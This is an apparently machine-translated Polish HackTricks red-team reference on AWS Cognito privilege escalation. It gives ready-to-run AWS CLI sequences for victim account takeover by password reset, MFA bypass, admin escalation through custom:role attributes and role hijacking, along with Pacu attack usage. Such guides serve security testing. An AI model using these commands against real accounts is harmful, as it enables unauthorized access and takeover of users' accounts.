AWS - Cognito Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Cognito

Więcej informacji o Cognito:

AWS - Cognito Enum

Pozyskiwanie poświadczeń z Identity Pool

Ponieważ Cognito może przyznać IAM role credentials zarówno authenticated jak i unauthenticated users, jeśli znajdziesz Identity Pool ID aplikacji (powinno być w niej zakodowane), możesz uzyskać nowe poświadczenia i w efekcie privesc (w ramach konta AWS, do którego być może wcześniej nie miałeś żadnych poświadczeń).

Więcej informacji znajdziesz na tej stronie.

Potencjalny wpływ: Bezpośrednie privesc do services role przypisanej do unauth users (i prawdopodobnie także do tej przypisanej do auth users).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Dzięki temu uprawnieniu możesz grant any cognito role dla authenticated/unauthenticated users aplikacji cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Jeśli aplikacja cognito nie ma włączonej obsługi użytkowników nieuwierzytelnionych, może być również wymagane uprawnienie cognito-identity:UpdateIdentityPool, aby to włączyć.

Potencjalny wpływ: Direct privesc to any cognito role.

cognito-identity:update-identity-pool

Atakujący posiadający to uprawnienie mógłby na przykład skonfigurować Cognito User Pool pod swoją kontrolą lub dowolnego innego identity provider, w którym może się zalogować jako sposób dostępu do tego Cognito Identity Pool. Następnie samo zalogowanie się w tym providerze pozwoli mu uzyskać dostęp do skonfigurowanej roli uwierzytelnionej w Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Można również nadużyć tego uprawnienia, aby umożliwić basic auth:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potencjalny wpływ: Kompromitacja skonfigurowanej uwierzytelnionej roli IAM wewnątrz identity pool.

cognito-idp:AdminAddUserToGroup

To uprawnienie umożliwia dodanie użytkownika Cognito do grupy Cognito, w związku z tym atakujący mógłby nadużyć tego uprawnienia, aby dodać kontrolowanego przez siebie użytkownika do innych grup z lepszymi uprawnieniami lub różnymi rolami IAM:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Potencjalny wpływ: Privesc do innych grup Cognito i ról IAM przypisanych do User Pool Groups.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Atakujący posiadający te uprawnienia może utworzyć/zmodyfikować grupy z każdą rolą IAM, która może być użyta przez compromised Cognito Identity Provider i dodać compromised user do grupy, uzyskując dostęp do wszystkich tych ról:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Potencjalny wpływ: Privesc to other Cognito IAM roles.

cognito-idp:AdminConfirmSignUp

To uprawnienie pozwala potwierdzić rejestrację. Domyślnie w aplikacjach Cognito każdy może się zarejestrować; jeśli to pozostawiono, użytkownik może utworzyć konto z dowolnymi danymi i zweryfikować je przy użyciu tego uprawnienia.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Potencjalny wpływ: Pośrednie privesc do identity pool IAM role dla authenticated users, jeśli możesz zarejestrować nowego użytkownika. Pośrednie privesc do innych funkcjonalności aplikacji poprzez możliwość potwierdzenia dowolnego konta.

cognito-idp:AdminCreateUser

To uprawnienie pozwala attackerowi utworzyć nowego użytkownika w user pool. Nowy użytkownik jest tworzony jako enabled, ale będzie musiał zmienić swoje hasło.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Potential Impact: Bezpośredni privesc do identity pool IAM role dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcji aplikacji umożliwiający tworzenie dowolnego użytkownika

cognito-idp:AdminEnableUser

To uprawnienie może pomóc w bardzo rzadkim scenariuszu, w którym atakujący znalazł poświadczenia dezaktywowanego użytkownika i musi go ponownie aktywować.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Potencjalny wpływ: Pośrednie privesc do identity pool IAM role dla authenticated users oraz uprawnienia użytkownika, jeśli atakujący miał poświadczenia dla disabled user.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

To uprawnienie pozwala zalogować się przy użyciu method ADMIN_USER_PASSWORD_AUTH. Więcej informacji znajdziesz pod linkiem.

cognito-idp:AdminSetUserPassword

To uprawnienie pozwoli atakującemu set a known password for any user, co zwykle skutkuje direct account takeover (zwłaszcza jeśli ofiara nie ma włączonego MFA, lub MFA nie jest egzekwowane dla danego auth flow/client).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Typowy przebieg:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'

# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent

# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"

Powiązane uprawnienie: cognito-idp:AdminResetUserPassword może zostać użyte do wymuszenia procesu resetu hasła dla ofiary (wpływ zależy od tego, jak zaimplementowano odzyskiwanie hasła oraz co atakujący może przechwycić lub kontrolować).

Potential Impact: Przejęcie kont dowolnych użytkowników; dostęp do uprawnień warstwy aplikacji (groups/roles/claims) oraz wszystkiego po stronie downstream, co ufa Cognito tokens; potencjalny dostęp do Identity Pool authenticated IAM roles.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Atakujący mógłby potencjalnie nadużyć tego uprawnienia, aby ustawić numer telefonu komórkowego kontrolowany przez siebie jako SMS MFA of a user.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Podobnie jak poprzednie, to uprawnienie może być użyte do ustawienia preferencji MFA użytkownika, aby bypassować ochronę MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Podobnie jak poprzednie, to uprawnienie może być użyte do ustawienia preferencji MFA w user pool, aby obejść ochronę MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Możliwe jest również zaktualizowanie User Pool, aby zmienić politykę MFA. Sprawdź CLI tutaj.

Potencjalny wpływ: Pośredni privesc dla potencjalnie dowolnego użytkownika, którego attacker zna credentials, co może pozwolić na obejście ochrony MFA.

cognito-idp:AdminUpdateUserAttributes

Attacker z tym uprawnieniem może zmienić dowolny modyfikowalny atrybut użytkownika User Pool (w tym atrybuty custom:*), aby spróbować uzyskać uprawnienia w bazowej aplikacji.

Powszechnie występujący, wysokiego wpływu wzorzec to claim-based RBAC zaimplementowany przy użyciu atrybutów niestandardowych (na przykład custom:role=admin). Jeśli aplikacja ufa temu claimowi, zaktualizowanie go, a następnie ponowne uwierzytelnienie może obejść autoryzację bez modyfikowania aplikacji.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Przykład: podnieś swoją role i odśwież tokens:

REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"

# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"

# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"

Potencjalny wpływ: Pośrednie privesc w aplikacjach ufających atrybutom/claims Cognito przy autoryzacji; możliwość modyfikacji innych atrybutów istotnych dla bezpieczeństwa (na przykład ustawienie email_verified lub phone_number_verified na true może mieć znaczenie w niektórych aplikacjach).

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Atakujący posiadający to uprawnienie może utworzyć nowy User Pool Client o mniejszych ograniczeniach niż już istniejące pool clients. Na przykład nowy klient może zezwalać na dowolne metody uwierzytelniania, nie mieć żadnego secret, mieć wyłączone unieważnianie tokenów i pozwalać, by tokeny były ważne przez dłuższy okres…

To samo można zrobić, jeśli zamiast tworzenia nowego klienta, istniejący zostanie zmodyfikowany.

W command line (lub w update one) możesz zobaczyć wszystkie opcje, sprawdź!

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Potencjalny wpływ: Potencjalne pośrednie privesc do Identity Pool authorized user używanego przez User Pool poprzez utworzenie nowego clienta, który rozluźnia środki bezpieczeństwa i umożliwia attackerowi zalogowanie się przy użyciu użytkownika, którego udało mu się utworzyć.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Attacker mógłby nadużyć tego uprawnienia, aby tworzyć użytkowników, przesyłając plik csv z nowymi użytkownikami.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(W przypadku tworzenia nowego import job możesz również potrzebować uprawnienia iam passrole — nie testowałem tego jeszcze).

Potencjalny wpływ: Bezpośredni privesc do roli IAM identity pool dla uwierzytelnionych użytkowników. Pośredni privesc do innych funkcji aplikacji umożliwiający tworzenie dowolnego użytkownika.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Atakujący mógłby utworzyć nowego identity provider, aby następnie móc zalogować się przez tego providera.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potencjalny wpływ: Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user.

cognito-sync:* Analiza

This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the given permissions aren’t super useful from an attackers perspective.

This permission allows to read use information of Identity Pools and Identity IDs inside Identity Pools (which isn’t sensitive info).
Identity IDs might have Datasets assigned to them, which are information of the sessions (AWS define it like a saved game). It might be possible that this contain some kind of sensitive information (but the probability is pretty low). You can find in the enumeration page how to access this information.

An attacker could also use these permissions to enroll himself to a Cognito stream that publish changes on these datases or a lambda that triggers on cognito events. I haven’t seen this being used, and I wouldn’t expect sensitive information here, but it isn’t impossible.

Automatyczne narzędzia

  • Pacu, the AWS exploitation framework, now includes the “cognito__enum” and “cognito__attack” modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.

For a description of the modules’ functions see part 2 of the blog post. For installation instructions see the main Pacu page.

Użycie

Sample cognito__attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Przykładowe użycie cognito__enum do zebrania wszystkich user pools, user pool clients, identity pools, users itp. widocznych na bieżącym koncie AWS:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner to narzędzie CLI w pythonie, które implementuje różne ataki na Cognito, w tym privesc escalation.

Instalacja

$ pip install cognito-scanner

Użycie

$ cognito-scanner --help

Więcej informacji znajdziesz na https://github.com/padok-team/cognito-scanner

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks